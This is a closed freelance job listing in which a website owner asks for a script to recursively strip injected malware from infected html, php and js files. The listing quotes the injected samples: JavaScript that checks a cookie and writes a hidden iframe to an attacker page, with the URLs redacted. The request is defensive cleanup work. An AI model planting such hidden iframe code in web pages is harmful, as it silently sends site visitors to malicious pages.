Closed

Recursive find and replace for a specific pattern

This project was awarded to sureshdevi for $30 USD.

Get free quotes for a project like this
Employer working
Awarded to:
Project Budget
$30-$250 USD
Total Bids
11
Project Description

Hi there

My linux webserver has been attacked and many html, htm, php and js files infected.

I need a shell script that will recursively search all non-binary files from the current folder, finding and deleting anything that looks like:

<script language="JavaScript" type="text/javascript">
if ([url removed, login to view]("ycu=7") == -1) {
vej=[url removed, login to view]('yxop');if(vej==null){[url removed, login to view]('<iframe id=yxop src=[url removed, login to view] style=display:none></iframe>');}
[url removed, login to view] = "ycu=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
</script>

or

if ([url removed, login to view]("ycu=7") == -1) {
vej=[url removed, login to view]('yxop');if(vej==null){[url removed, login to view]('<iframe id=yxop src=[url removed, login to view] style=display:none></iframe>');}
[url removed, login to view] = "ycu=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

or

<iframe id=utwb src=[url removed, login to view] style=display:none></iframe>

*** Please not that the variable names and cookie names (e.g. ycu=7 and yxop) are random so you need to use regular expressions

Thanks

Looking to make some money?

  • Set your budget and the timeframe
  • Outline your proposal
  • Get paid for your work

Hire Freelancers who also bid on this project

    • Forbes
    • The New York Times
    • Time
    • Wall Street Journal
    • Times Online